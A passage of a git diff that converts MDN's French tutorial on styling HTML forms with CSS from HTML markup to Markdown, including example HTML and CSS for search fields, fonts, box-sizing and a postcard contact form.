href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/styling_web_forms/index.md b/files/fr/learn/forms/styling_web_forms/index.md index 95ddead893..1882911bf7 100644 --- a/files/fr/learn/forms/styling_web_forms/index.md +++ b/files/fr/learn/forms/styling_web_forms/index.md @@ -12,222 +12,230 @@ tags: translation_of: Learn/Forms/Styling_web_forms original_slug: Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}} -<blockquote> -<p>Dans cet article, nous allons apprendre comment utiliser <a href="/fr/docs/CSS" title="/fr/docs/CSS">les CSS</a> avec les formulaires <a href="/fr/docs/HTML" title="/fr/docs/HTML">HTML</a> pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés" title="/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés">construire leurs propres widgets HTML</a> pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près.</p> -</blockquote> +> Dans cet article, nous allons apprendre comment utiliser [les CSS](/fr/docs/CSS "/fr/docs/CSS") avec les formulaires [HTML](/fr/docs/HTML "/fr/docs/HTML") pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent [construire leurs propres widgets HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés "/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés") pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près. -<h2 id="Pourquoi_est-ce_si_difficile_de_modifier_l'apparence_des_formulaires_avec_CSS">Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ?</h2> +## Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ? -<p>Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la <a href="http://www.ietf.org/rfc/rfc1866.txt" rel="extrenal">spécification HTML 2</a>. À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher.</p> +Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la [spécification HTML 2](http://www.ietf.org/rfc/rfc1866.txt). À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher. -<p>Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité.</p> +Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité. -<p>Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable.</p> +Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable. -<p>Même aujourd'hui, aucun des navigateurs n'a entièrement mis en œuvre les CSS 2.1. Avec le temps, les fournisseurs de navigateurs ont toutefois amélioré la compatibilité des CSS avec les éléments de formulaires, et bien que ce soit de mauvaise réputation pour leur utilisation, vous pouvez désormais modifier l'apparence des <a href="/fr/docs/Web/Guide/HTML/Formulaires" title="/fr/docs/HTML/Formulaires">formulaires HTML</a>.</p> +Même aujourd'hui, aucun des navigateurs n'a entièrement mis en œuvre les CSS 2.1. Avec le temps, les fournisseurs de navigateurs ont toutefois amélioré la compatibilité des CSS avec les éléments de formulaires, et bien que ce soit de mauvaise réputation pour leur utilisation, vous pouvez désormais modifier l'apparence des [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires "/fr/docs/HTML/Formulaires"). -<h3 id="Tous_les_widgets_ne_sont_pas_égaux_devant_les_CSS">Tous les widgets ne sont pas égaux devant les CSS</h3> +### Tous les widgets ne sont pas égaux devant les CSS -<p>Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec les formulaires. Ces problèmes peuvent être classés en trois catégories.</p> +Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec les formulaires. Ces problèmes peuvent être classés en trois catégories. -<h4 id="Le_bon">Le bon</h4> +#### Le bon -<p>L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants :</p> +L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants : -<ol> - <li>{{HTMLElement("form")}}</li> - <li>{{HTMLElement("fieldset")}}</li> - <li>{{HTMLElement("label")}}</li> - <li>{{HTMLElement("output")}}</li> -</ol> +1. {{HTMLElement("form")}} +2. {{HTMLElement("fieldset")}} +3. {{HTMLElement("label")}} +4. {{HTMLElement("output")}} -<p>Ceci inclut aussi tous les widgets de champs textuels (qu'ils soient mono ou multi‑lignes), ainsi que les boutons.</p> +Ceci inclut aussi tous les widgets de champs textuels (qu'ils soient mono ou multi‑lignes), ainsi que les boutons. -<h4 id="La_brute">La brute</h4> +#### La brute -<p>L'apparence de certains éléments ne peut être modifiée que rarement et peut nécessiter quelques astuces complexes, et parfois une connaissance avancée des CSS3.</p> +L'apparence de certains éléments ne peut être modifiée que rarement et peut nécessiter quelques astuces complexes, et parfois une connaissance avancée des CSS3. -<p>Ceci inclut l'élément {{HTMLElement("legend")}}. Ce dernier ne peut pas être positionné correctement sur toutes les plateformes. De plus, l'apparence des cases à cocher et des boutons radio ne peut pas être modifiée directement. Toutefois, grâce à CSS3 c'est possible de contourner cette limitation. L'apparence du contenu {{htmlattrxref("placeholder", "input")}} ne peut pas être modifiée d'une manière standard. Mais tous les navigateurs qui sont compatible avec cet attribut ont aussi implémenté des pseudo-classes ou pseudo-élément propriétaires qui permettent de modifier son apparence.</p> +Ceci inclut l'élément {{HTMLElement("legend")}}. Ce dernier ne peut pas être positionné correctement sur toutes les plateformes. De plus, l'apparence des cases à cocher et des boutons radio ne peut pas être modifiée directement. Toutefois, grâce à CSS3 c'est possible de contourner cette limitation. L'apparence du contenu {{htmlattrxref("placeholder", "input")}} ne peut pas être modifiée d'une manière standard. Mais tous les navigateurs qui sont compatible avec cet attribut ont aussi implémenté des pseudo-classes ou pseudo-élément propriétaires qui permettent de modifier son apparence. -<p>Nous allons voir comment gérer ces cas particuliers dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms" title="/fr/docs/HTML/Formulaires/Apparence_avancée_des_formulaires_HTML">Apparence avancée des formulaires HTML</a>.</p> +Nous allons voir comment gérer ces cas particuliers dans l'article [Apparence avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms "/fr/docs/HTML/Formulaires/Apparence_avancée_des_formulaires_HTML"). -<h4 id="Le_truand">Le truand</h4> +#### Le truand -<p>L'apparence de certains éléments n'est tout bonnement pas modifiable en utilisant les CSS. Ceci inclut toutes les interfaces avancées comme les intervalles, la sélection de couleur ou de date ainsi que les éléments déroulants, y compris les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}} et {{HTMLElement("datalist")}}. La sélection de fichiers est aussi connue pour ne pas pouvoir changer d'apparence. Les nouveaux éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} font aussi partie de cette catégorie.</p> +L'apparence de certains éléments n'est tout bonnement pas modifiable en utilisant les CSS. Ceci inclut toutes les interfaces avancées comme les intervalles, la sélection de couleur ou de date ainsi que les éléments déroulants, y compris les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}} et {{HTMLElement("datalist")}}. La sélection de fichiers est aussi connue pour ne pas pouvoir changer d'apparence. Les nouveaux éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} font aussi partie de cette catégorie. -<p>Le principal problème avec tous ces widgets vient du fait que leur structure est très complexe et les CSS n'ont pas assez d'expressions pour décrire et modifier l'apparence des éléments. Si vous souhaitez modifier l'apparence des widgets vous devez utiliser JavaScript pour construire une arborescence DOM qui vous permet de modifier l'apparence. Nous explorons cette possibilité dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés" title="/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés">Comment créer des widgets de formulaire personnalisés</a>.</p> +Le principal problème avec tous ces widgets vient du fait que leur structure est très complexe et les CSS n'ont pas assez d'expressions pour décrire et modifier l'apparence des éléments. Si vous souhaitez modifier l'apparence des widgets vous devez utiliser JavaScript pour construire une arborescence DOM qui vous permet de modifier l'apparence. Nous explorons cette possibilité dans l'article [Comment créer des widgets de formulaire personnalisés](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés "/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés"). -<h2 id="Compositions_stylistiques_de_base">Compositions stylistiques de base</h2> +## Compositions stylistiques de base -<p>Pour changer l'apparence <a href="/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon" title="/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon">des éléments facilement modifiables</a> avec les CSS, vous ne devriez pas rencontrer de problèmes, puisqu'ils se comportent comme n'importe quel autre élément HTML. Toutefois, les feuilles de style peuvent ne pas être cohérentes entre navigateurs, il y a donc un certain nombre d'astuces à connaître.</p> +Pour changer l'apparence [des éléments facilement modifiables](/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon "/fr/docs/HTML/Formulaires/Apparence_des_formulaires_HTML#Le_bon") avec les CSS, vous ne devriez pas rencontrer de problèmes, puisqu'ils se comportent comme n'importe quel autre élément HTML. Toutefois, les feuilles de style peuvent ne pas être cohérentes entre navigateurs, il y a donc un certain nombre d'astuces à connaître. -<h3 id="Champs_de_recherche">Champs de recherche</h3> +### Champs de recherche -<p>Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire <code>-webkit-appearance</code>. Nous allons aborder le sujet plus en détails dans dans l'article : <a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms" title="/fr/docs/Apparence_avancée_des_formulaires_HTML">Apparence avancée des formulaires HTML</a>.</p> +Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire `-webkit-appearance`. Nous allons aborder le sujet plus en détails dans dans l'article : [Apparence avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms "/fr/docs/Apparence_avancée_des_formulaires_HTML"). -<h4 id="Exemple">Exemple</h4> +#### Exemple -<pre class="brush: html"><form> - <input type="search"> -</form> -</pre> +```html +<form> + <input type="search"> +</form> +``` -<pre class="brush: css">input[type=search] { +```css +input[type=search] { border: 1px dotted #999; border-radius: 0; -webkit-appearance: none; -}</pre> +} +``` -<p><img alt="This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance" src="search-chrome-macos.png"></p> + -<p>Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs ont une bordure, mais le premier champ n'utilise pas la propriété <code>-webkit-appearance</code> tandis que le second a recours à la propriété <code>-webkit-appearance:none</code>. La différence est notable.</p> +Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs ont une bordure, mais le premier champ n'utilise pas la propriété `-webkit-appearance` tandis que le second a recours à la propriété `-webkit-appearance:none`. La différence est notable. -<h3 id="Texte_et_polices_de_caractères">Texte et polices de caractères</h3> +### Texte et polices de caractères -<p>Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style :</p> +Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style : -<pre class="brush: css">button, input, select, textarea { +```css +button, input, select, textarea { font-family : inherit; font-size : 100%; -}</pre> +} +``` -<p>La capture d'écran ci-dessous montre les différences. Sur la gauche il y a l'affichage par défaut de Firefox pour Mac OS X, avec les réglages de police par défaut du système. Sur la droite, les mêmes éléments avec la règle d'harmonisation utilisée.</p> +La capture d'écran ci-dessous montre les différences. Sur la gauche il y a l'affichage par défaut de Firefox pour Mac OS X, avec les réglages de police par défaut du système. Sur la droite, les mêmes éléments avec la règle d'harmonisation utilisée. -<p><img alt="This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization" src="font-firefox-macos.png"></p> + -<p>Il existe un débat animé sur le fait qu'un formulaire ait une meilleure apparence en utilisant les valeurs par défaut du système d'exploitation ou en utilisant des valeurs unifiant l'apparence. C'est à vous de décider en tant que designer du site ou de l'application.</p> +Il existe un débat animé sur le fait qu'un formulaire ait une meilleure apparence en utilisant les valeurs par défaut du système d'exploitation ou en utilisant des valeurs unifiant l'apparence. C'est à vous de décider en tant que designer du site ou de l'application. -<h3 id="Modèle_de_boîte">Modèle de boîte</h3> +### Modèle de boîte -<p>Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes.</p> +Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes. -<p><strong>Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin).</strong> Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} :</p> +**Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin).** Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} : -<pre class="brush: css">input, textarea, select, button { +```css +input, textarea, select, button { width : 150px; margin: 0; -webkit-box-sizing: border-box; /* Pour les anciennes versions des navigateurs WebKit */ -moz-box-sizing: border-box; /* Pour tous les navigateurs Gecko */ box-sizing: border-box; -}</pre> +} +``` -<p><img alt="This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing." src="size-chrome-win7.png"></p> + -<p>Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxref("box-sizing")}}, alors que la colonne de droite utilise la propriété CSS <code>border-box</code>. Remarquez comment tous les éléments occupent le même espace, malgré les valeurs par défaut de la plateforme pour chacun des blocs.</p> +Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxref("box-sizing")}}, alors que la colonne de droite utilise la propriété CSS `border-box`. Remarquez comment tous les éléments occupent le même espace, malgré les valeurs par défaut de la plateforme pour chacun des blocs. -<h3 id="Positionnement">Positionnement</h3> +### Positionnement -<p>Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière :</p> +Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière : -<h4 id="legend">legend</h4> +#### legend -<p>L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément <code>fieldset</code>.</p> +L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément `fieldset`. -<p>Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut <code>label</code> de chaque élément de formulaire du <code>fieldset</code>), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci :</p> +Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut `label` de chaque élément de formulaire du `fieldset`), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci : -<h5 id="HTML">HTML</h5> +##### HTML -<pre class="brush: html"><fieldset> - <legend>Hi!</legend> - <h1>Hello</h1> -</fieldset></pre> +```html +<fieldset> + <legend>Hi!</legend> + <h1>Hello</h1> +</fieldset> +``` -<h5 id="CSS">CSS</h5> +##### CSS -<pre class="brush: css">legend { +```css +legend { width: 1px; height: 1px; overflow: hidden; -}</pre> +} +``` -<h4 id="textarea">textarea</h4> +#### textarea -<p>Par défaut, tous les navigateurs considèrent l'élément {{HTMLElement("textarea")}} comme un bloc incorporé aligné sur la ligne du bas du texte. C'est rarement ce que nous souhaitons vraiment. Pour passer d<code>'inline-block</code> à <code>block</code>, il est assez facile d'utiliser la propriété {{cssxref("display")}}. Mais si vous voulez l'utiliser en ligne, il est courant de changer son alignement vertical :</p> +Par défaut, tous les navigateurs considèrent l'élément {{HTMLElement("textarea")}} comme un bloc incorporé aligné sur la ligne du bas du texte. C'est rarement ce que nous souhaitons vraiment. Pour passer d`'inline-block` à `block`, il est assez facile d'utiliser la propriété {{cssxref("display")}}. Mais si vous voulez l'utiliser en ligne, il est courant de changer son alignement vertical : -<pre class="brush: css">textarea { +```css +textarea { vertical-align: top; -}</pre> +} +``` + +## Exemple -<h2 id="Exemple_2">Exemple</h2> +Regardons sur un exemple concret la façon de composer un formulaire HTML. Cela aidera à clarifier nombre de ces concepts. Nous allons construire un formulaire de contact sous forme de « carte postale » : -<p>Regardons sur un exemple concret la façon de composer un formulaire HTML. Cela aidera à clarifier nombre de ces concepts. Nous allons construire un formulaire de contact sous forme de « carte postale » :</p> + -<p><img alt="C'est ce que nous voulons réaliser avec le HTML et les CSS." src="fr-carte.png"></p> +### HTML -<h3 id="HTML_2">HTML</h3> +Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier[ article de ce guide](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML "/en-US/docs/HTML/Forms/My_first_HTML_form") ; il ne comporte que quelques identifiants supplémentaires et un titre. -<p>Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier<a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML" title="/en-US/docs/HTML/Forms/My_first_HTML_form"> article de ce guide</a> ; il ne comporte que quelques identifiants supplémentaires et un titre.</p> +```html +<form> + <h1>à: Mozilla</h1> -<pre class="brush: html"><form> - <h1>à: Mozilla</h1> + <div id="from"> + <label for="name">de :</label> + <input type="text" id="name" name="user_name"> + </div> - <div id="from"> - <label for="name">de :</label> - <input type="text" id="name" name="user_name"> - </div> + <div id="reply"> + <label for="mail">répondre à :</label> + <input type="email" id="mail" name="user_email"> + </div> - <div id="reply"> - <label for="mail">répondre à :</label> - <input type="email" id="mail" name="user_email"> - </div> + <div id="message"> + <label for="msg">Votre message :</label> + <textarea id="msg" name="user_message"></textarea> + </div> - <div id="message"> - <label for="msg">Votre message :</label> - <textarea id="msg" name="user_message"></textarea> - </div> + <div class="button"> + <button type="submit">Poster le message</button> + </div> +</form> +``` - <div class="button"> - <button type="submit">Poster le message</button> - </div> -</form></pre> +### Organiser les ressources -<h3 id="Organiser_les_ressources">Organiser les ressources</h3> +C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires : -<p>C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires :</p> +1. L'[image de fond](/files/4151/background.jpg "The postcard background") de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail. +2. Une police de machine à écrire : [« Secret Typewriter » de fontsquirrel.com](http://www.fontsquirrel.com/fonts/Secret-Typewriter) — téléchargez le fichier TTF dans le même répertoire que ci‑dessus. +3. Une police d'écriture manuelle : [ « Journal » de fontsquirrel.com ](http://www.fontsquirrel.com/fonts/Journal)— téléchargez le fichier TTF dans le même répertoire que ci‑dessus. -<ol> - <li>L'<a href="/files/4151/background.jpg" title="The postcard background">image de fond</a> de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail.</li> - <li>Une police de machine à écrire : <a href="http://www.fontsquirrel.com/fonts/Secret-Typewriter" rel="external">« Secret Typewriter » de fontsquirrel.com</a> — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.</li> - <li>Une police d'écriture manuelle : <a href="http://www.fontsquirrel.com/fonts/Journal" rel="external"> « Journal » de fontsquirrel.com </a>— téléchargez le fichier TTF dans le même répertoire que ci‑dessus.</li> -</ol> -<p> </p> -<p>Les polices demandent un supplément de traitement avant de débuter :</p> +Les polices demandent un supplément de traitement avant de débuter : -<ol> - <li>Allez sur le <a href="https://www.fontsquirrel.com/tools/webfont-generator">Webfont Generator</a> de fontsquirrel.</li> - <li>En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur.</li> - <li>Décompressez le fichier zip fourni.</li> - <li>Dans le contenu décompressé vous trouverez deux fichiers <code>.woff</code> et deux fichiers <code>.woff2</code>. Copiez ces quatre fichiers dans un répertoire nommé <code>fonts</code>, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les <a href="/fr/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a> pour des informations plus détaillées.</li> -</ol> +1. Allez sur le [Webfont Generator](https://www.fontsquirrel.com/tools/webfont-generator) de fontsquirrel. +2. En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur. +3. Décompressez le fichier zip fourni. +4. Dans le contenu décompressé vous trouverez deux fichiers `.woff` et deux fichiers `.woff2`. Copiez ces quatre fichiers dans un répertoire nommé `fonts`, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les [Web fonts](/fr/docs/Learn/CSS/Styling_text/Web_fonts) pour des informations plus détaillées. -<h3 id="Le_CSS">Le CSS</h3> +### Le CSS -<p> </p> -<p>Maintenant nous pouvons approfondir les CSS de l'exemple. Ajoutez tous les blocs de code affichés ci‑dessous dans un élément {{htmlelement("style")}}, l'un après l'autre.</p> -<p>D'abord, la préparation de base en définissant les règles de {{cssxref("@font-face")}} et les base des éléments {{HTMLElement("body")}} et {{HTMLElement("form")}}.</p> +Maintenant nous pouvons approfondir les CSS de l'exemple. Ajoutez tous les blocs de code affichés ci‑dessous dans un élément {{htmlelement("style")}}, l'un après l'autre. -<pre class="brush: css">@font-face{ +D'abord, la préparation de base en définissant les règles de {{cssxref("@font-face")}} et les base des éléments {{HTMLElement("body")}} et {{HTMLElement("form")}}. + +```css +@font-face{ font-family : "handwriting"; -<code class="language-css"> src: url('fonts/journal-webfont.woff2') format('woff2'), + src: url('fonts/journal-webfont.woff2') format('woff2'), url('fonts/journal-webfont.woff') format('woff'); font-weight: normal; - font-style: normal;</code> + font-style: normal; } @font-face{ font-family : "typewriter"; -<code class="language-css"> src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), + src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), url('fonts/veteran_typewriter-webfont.woff') format('woff'); font-weight: normal; - font-style: normal;</code> + font-style: normal; } body { @@ -247,11 +255,13 @@ form { margin : 0 auto; background: #FFF url(background.jpg); -}</pre> +} +``` -<p>Maintenant nous pouvons placer nos éléments, y compris le titre et tous les éléments du formulaire.</p> +Maintenant nous pouvons placer nos éléments, y compris le titre et tous les éléments du formulaire. -<pre class="brush: css">h1 { +```css +h1 { position : absolute; left : 415px; top : 185px; @@ -275,17 +285,21 @@ form { position: absolute; left : 20px; top : 70px; -}</pre> +} +``` -<p>C'est là que nous commençons à travailler sur les éléments du formulaire eux-mêmes. Tout d'abord, assurons-nous que 